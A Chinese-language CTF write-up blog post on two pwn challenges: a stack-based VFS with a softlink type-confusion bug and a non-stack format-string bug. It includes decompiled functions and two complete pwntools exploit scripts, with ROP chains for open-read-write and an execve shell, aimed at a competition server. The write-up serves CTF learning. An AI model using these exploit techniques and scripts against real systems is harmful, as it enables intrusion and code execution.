前言
这场比赛真是打爽了,4道题做出了3道,且每道都让neise1有所思考,没有一眼秒的情况,总之,这场比赛让本人收获颇丰,所以想着一定要好好地整理,于是就有了这篇博客。我会尽量把学到的东西写的细一点,希望读到我文章的人也能有所收获。
VFS_stack
题目说,这是一个基于栈的文件管理系统,什么都先别说,checksec一下。

可以看到几乎没什么保护。
再丢进ida里看下。

seccomp
这里发现有seccomp,看一下是禁用了什么。

发现是白名单,只让用这几个函数的系统调用,所以我们只能打orw了。
初始化

这里是在栈上开辟了0xDE8大小的缓冲区,用来放置文件,根据函数名,我们也大致能猜到各个函数的功能,我们这里先从初始化函数开始看。

发现这里会初始化创建两个文件,“user_readme”和“/dev/stack_core”,这里管理文件选择了文件结构体和内容分开储存的形式。
文件结构体的前16字节用来放文件名,后面跟着的四个4字节数字依次代表该处是否被占用(0=空闲,1=占用),文件读取权限(0=普通用户可访问,1=拒绝访问),文件类型(0=regular, 1=hardlink, 2=softlink)和文件大小,最后放着指向文件内容的指针。
菜单

这个函数给了指令规范,没什么好说的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| void __fastcall menu_loop(unsigned int a1, __int64 a2, __int64 a3, __int64 a4) { size_t v6; __int64 v7; char *s1[2]; __int128 v9; _QWORD v10[33]; int line; int v12;
memset(v10, 0, 256); *(_OWORD *)s1 = 0; v9 = 0; v7 = 128; while ( 1 ) { v12 = 0; line = 0; v6 = 0; send_text(a1, "vfs> "); line = read_line(a1, (__int64)v10, 0x100u); if ( line <= 0 ) break; v12 = split_line((char *)v10, (__int64)s1, 4); if ( v12 ) { if ( !strcmp(s1[0], "HELP") ) { show_help(a1); } else if ( !strcmp(s1[0], "LIST") ) { cmd_list(a1, a2); } else { if ( !strcmp(s1[0], "QUIT") ) { send_text(a1, "bye\n"); return; } if ( !strcmp(s1[0], "TOUCH") ) { if ( v12 == 2 ) cmd_touch(a1, a2, a3, &v7, (__int64)s1[1]); else send_text(a1, "ERR usage: TOUCH <name>\n"); } else if ( !strcmp(s1[0], "HARDLINK") ) { if ( v12 == 3 ) cmd_hardlink(a1, a2, a3, &v7, s1[1], (const char *)v9); else send_text(a1, "ERR usage: HARDLINK <src> <dst>\n"); } else if ( !strcmp(s1[0], "SOFTLINK") ) { if ( v12 == 3 ) cmd_softlink(a1, a2, s1[1], (const char *)v9); else send_text(a1, "ERR usage: SOFTLINK <src> <dst>\n"); } else if ( !strcmp(s1[0], "READ") ) { if ( v12 == 3 && !(unsigned int)parse_len((const char *)v9, &v6) ) cmd_read(a1, a2, s1[1], v6); else send_text(a1, "ERR usage: READ <name> <len>\n"); } else if ( !strcmp(s1[0], "WRITE") ) { if ( v12 == 3 && !(unsigned int)parse_len((const char *)v9, &v6) ) cmd_write(a1, a2, a4, s1[1], v6); else send_text(a1, "ERR usage: WRITE <name> <len>\n"); } else { send_text(a1, "ERR unknown command\n"); } } } } }
|
这个函数中就是实现菜单中各个功能的函数了,额,一个一个讲比较费劲,这里neise1就偷点儿懒只讲讲用的到的函数。
hardlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| void __fastcall cmd_hardlink(unsigned int a1, __int64 a2, __int64 a3, _QWORD *a4, const char *a5, const char *a6) { size_t n; void **s; __int64 v11; int free_inode; int inode;
inode = find_inode(a2, a5); if ( inode >= 0 ) { if ( (int)find_inode(a2, a6) < 0 ) { free_inode = find_free_inode(a2); if ( free_inode >= 0 ) { v11 = 40LL * inode + a2; s = (void **)(40LL * free_inode + a2); if ( *(_DWORD *)(v11 + 24) ) { send_text(a1, "ERR hardlink source type not allowed\n"); } else if ( *(int *)(v11 + 28) >= 0 && *(_QWORD *)(v11 + 32) ) { n = *(int *)(v11 + 28); if ( *a4 + n <= 0x800 ) { memset(s, 0, 0x28u); copy_name(s, a6); *((_DWORD *)s + 4) = 1; *((_DWORD *)s + 5) = *(_DWORD *)(v11 + 20); *((_DWORD *)s + 6) = 1; *((_DWORD *)s + 7) = *(_DWORD *)(v11 + 28); s[4] = (void *)(a3 + *a4); memcpy(s[4], *(const void **)(v11 + 32), n); *a4 += n; send_text(a1, "OK\n"); } else { send_text(a1, "ERR disk full\n"); } } else { send_text(a1, "ERR invalid source\n"); } } else { send_text(a1, "ERR inode full\n"); } } else { send_text(a1, "ERR file exists\n"); } } else { send_text(a1, "ERR no such source\n"); } }
|
啊啊,这个代码我也是看的头疼,但大致行为是,新建一个hardlink类型文件,然后把目标文件的除却文件类型的其他一切都直接复印一份。
softlink(主要漏洞)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| void __fastcall cmd_softlink(unsigned int a1, __int64 a2, const char *a3, const char *a4) { __int64 v5; void *s; __int64 v7; int free_inode; int inode;
inode = find_inode(a2, a3); if ( inode >= 0 ) { if ( (int)find_inode(a2, a4) < 0 ) { free_inode = find_free_inode(a2); if ( free_inode >= 0 ) { v7 = 40LL * inode + a2; if ( *(_DWORD *)(v7 + 24) == 2 ) { send_text(a1, "ERR softlink source type not allowed\n"); } else if ( *(int *)(v7 + 28) > 23 && *(_QWORD *)(v7 + 32) ) { v5 = *(_QWORD *)(v7 + 32); if ( !memcmp((const void *)(v5 + 16), "LNKPTR", 6u) ) { s = (void *)(40LL * free_inode + a2); memset(s, 0, 0x28u); copy_name(s, a4); *((_DWORD *)s + 4) = 1; *((_DWORD *)s + 6) = 2; *((_DWORD *)s + 7) = *(_DWORD *)(v5 + 8); *((_QWORD *)s + 4) = *(_QWORD *)v5; if ( *(_DWORD *)(v7 + 24) != 1 ) *((_DWORD *)s + 5) = *(_DWORD *)(v5 + 12); send_text(a1, "OK\n"); } else { send_text(a1, "ERR source is not a softlink blob\n"); } } else { send_text(a1, "ERR source is not linkable\n"); } } else { send_text(a1, "ERR inode full\n"); } } else { send_text(a1, "ERR file exists\n"); } } else { send_text(a1, "ERR no such source\n"); } }
|
这个函数逻辑很复杂了,当时做的时候给neise1分析的头都大了😭
依旧简单说一下函数行为,(这个函数貌似是专门做给“/dev/stack_core”用的)首先,函数会判断用户创建softlink的对象的文件类型,如果也是软连接就不行,随后会检查目标文件的内容大小和内容指针是否存在,大小必须大于23(因为它会把目标文件的内容视为一个24字节的结构体来解析),然后找文件内容中从0x10开始前六字节是不是 “LNKPTR”如果是,那接下来就会开始softlink的构建,这里要注意的是,它放在末尾的,并不是指向目标文件内容的指针,而是目标文件内容开头的那个地址。
最后,也是最关键的,它会再检测目标文件类型,如果不是hardlink,才会设置文件的权限位,也就是说,如果是hardlink的话,它就不会设置权限位,而由于开头有用memset清零,所以权限位就是0。嗯嗯,所以我们就有了个泄露栈地址的方法,就是给“/dev/stack_core”创建个hardlink,再给hardlink创建个softlink,就能读取“/dev/stack_core”文件内容中的站地址了,额,大概可以用来在栈上写“flag”字符串当open的参数吧。
read和write
这是read。

这是write。

没什么好说的,这两个函数都只检查,文件是否存在,文件权限,以及文件大小(不大于0x400),完全不会管文件类型,只要以上说的都ok,它会直接去文件结构体的+32偏移处找指针,然后根据这个指针读或写。
但是,softlink类型的文件,这个地方放置的指针是我们可控的,也就是对应文件内容的开头。而我们只需要按照softlink的要求伪造对应的文件内容(其实也就是仿照“/dev/stack_core”的文件内容,然后把开头的地址改成目标地址),就能轻易的达成任意地址读写。
touch

没什么好说的,就是新建一个文件(连代码都少的可怜)
利用思路
这个题挺灵活的,毕竟都有无条件任意读写了嘛,所以相信利用方法五花八门,neise1这里说说自己的。
泄露栈地址后,neise1又泄露了got表,得到libc地址之后就构造orw的ROP链,写到函数返回地址上。
嗯,非常简单粗暴。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] host="114.66.24.221" port=41349
p=remote(host,port) libc=ELF('./libc.so.6')
p.sendafter(b'vfs>',b'HARDLINK /dev/stack_core hard\n') p.sendafter(b'vfs>',b'SOFTLINK hard soft\n') p.sendafter(b'vfs>',b'READ soft 48\n') p.recvuntil(b'DATA 48\n') a=p.recv(0x28)[-8:].ljust(8,b'\x00') stack_addr=u64(a)-0x18 print(hex(stack_addr))
p.sendafter(b'vfs>',b'TOUCH blob\n') p.sendafter(b'vfs>',b'WRITE blob 32\n') payload=p64(0x405010)+p32(0x400)+p32(0)+b'LNKPTR\x00\x00'+b'./flag' payload=payload.ljust(32,b'\x00') p.send(payload) p.sendafter(b'vfs>',b'SOFTLINK blob got\n') p.sendafter(b'vfs>',b'READ got 8\n') p.recvuntil(b'DATA 8\n') write_addr=u64(p.recv(6).ljust(8,b'\x00')) libc_base=write_addr-libc.symbols['write'] print(hex(libc_base)) open_addr=libc_base+libc.symbols['open'] read_addr=libc_base+libc.symbols['read'] flag_addr=stack_addr+0xc8 pop_rdi=0x10f78b+libc_base pop_rsi=0x110a7d+libc_base
pop_rbx=0x586e4+libc_base _rdx=0xb0153+libc_base
ROP=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0xd0)+p64(pop_rbx)+p64(40)+p64(_rdx)+p64(0)+p64(0)+p64(0)+p64(read_addr) ROP+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack_addr+0xd0)+p64(pop_rbx)+p64(40)+p64(_rdx)+p64(0)+p64(0)+p64(0)+p64(write_addr) a=len(ROP) ret_addr=stack_addr-0x18 p.sendafter(b'vfs>',b'TOUCH blop\n') p.sendafter(b'vfs>',b'WRITE blop 32\n') payload=p64(ret_addr)+p32(0x400)+p32(0)+b'LNKPTR' payload=payload.ljust(32,b'\x00') p.send(payload) p.sendafter(b'vfs>',b'SOFTLINK blop ROP\n') p.sendafter(b'vfs>',f'WRITE ROP {a}\n'.encode()) p.send(ROP)
p.sendafter(b'vfs>',b'QUIT\n')
p.interactive()
|
checkin
这个题的程序行为逻辑非常简单,做起来也不难,就是有点麻烦。
分析
先checksec一下

依旧只开了NX,丢ida看一下程序萝莉。

嗯,萝莉非常清晰,漏洞也很清晰,就是个非栈上格式化字符串,这种题目思路就很清晰。
利用思路
其实思路很简单,就是在栈上找连续的指针。

像这样,我们可以通过%n去更改第一个指针指向的指针,把它改为目标指针,再在栈上找到被你更改后的指针,这样你就可以任意写了。
不过我们首先要解决的问题是,程序正常只能进行一次格式化字符串操作,光一次肯定是不够的,所以我们这里要在这一次内,把_exit函数的got表改为main函数,这样我们就可以无限次进行格式化字符串操作了来达成任意读写,那么首先,我们肯定要先读got表来获取libc地址。
接下来就要考虑怎么劫持程序运行system了。
neise1仔细思考了一下,有这么几种利用思路,第一,直接慢悠悠地多用几次格式化字符串往最开始的main函数的返回地址布置system的调用链,最后把_exit的got表覆盖为随便一个ret指令,这样在经过一系列返回后就能获得shell了(这个想法neise1没实际去试,只是有这么个想法,neise1这里用的是另一个方法。)
第二,因为格式化操作是在printf函数内进行的嘛,肯定是进行完格式化后才返回,所以我们完全可以用几个连续指针一次性把printf的rbp和返回地址覆盖,进行栈迁移,把栈迁移到我们的buf所在的.bss段,但是这里要注意的是,这样就没法直接调用system函数了,因为system运行要求比较大的栈空间,neise1调试的时候发现,system函数行为中,有一步操作会rsp-0x300(也好像是+),但是.bss段不够大,所以不行,于是,neise1只好选择了利用系统调用,这才拿到shell。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] host="114.66.24.221" port=40169
p=remote(host,port) libc=ELF('./libc.so.6')
a=0x4000 b=0x111bb payload=f'%{a-6}c'.encode()+b'%c'*6+b'%hn'+f'%{b-a-6}c'.encode()+b'%c'*6+b'%hn'
p.sendafter(b'Please checkin first',payload)
p.sendafter(b'Please checkin first',b'+%7$p+%28$p\x00') p.recvuntil(b'+') c=p.recv(14) stack_addr=int(c,0) p.recvuntil(b'+') c=p.recv(14) libc_base=int(c,0)-libc.symbols['__libc_start_main']-139
print(hex(libc_base))
pop_rdi=0x10f78b+libc_base binsh=0x1cb42f+libc_base pop_rax=0xdd237+libc_base pop_rsi=0x110a7d+libc_base
syscall_addr=0xEE21B+libc_base
target_addr=(stack_addr-0xc8) & 0xffff p.sendafter(b'Please checkin first',f'%{target_addr}c%8$hn%4c%32$hn%4c%11$hn\x00'.encode())
pay=f'%48$n%{0x40119d}c%46$n%{0x4040a0-0x40119d}c%29$n\x00'.encode()
pay=pay.ljust(0x20,b'\x00') pay+=p64(0)+p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(binsh)+p64(pop_rsi)+p64(0)+p64(syscall_addr) p.sendafter(b'Please checkin first',pay)
p.interactive()
|
这里要注意的是,第一次格式化字符串的时候,由于要同时对一个指针修改加利用,那么利用的那个地方,就不能用数字加$来操作,因为用这种方式会让printf格式化时,printf会在调用时,一次性计入所有参数,就没办法利用修改后的指针了,所以要用%c占位来写入。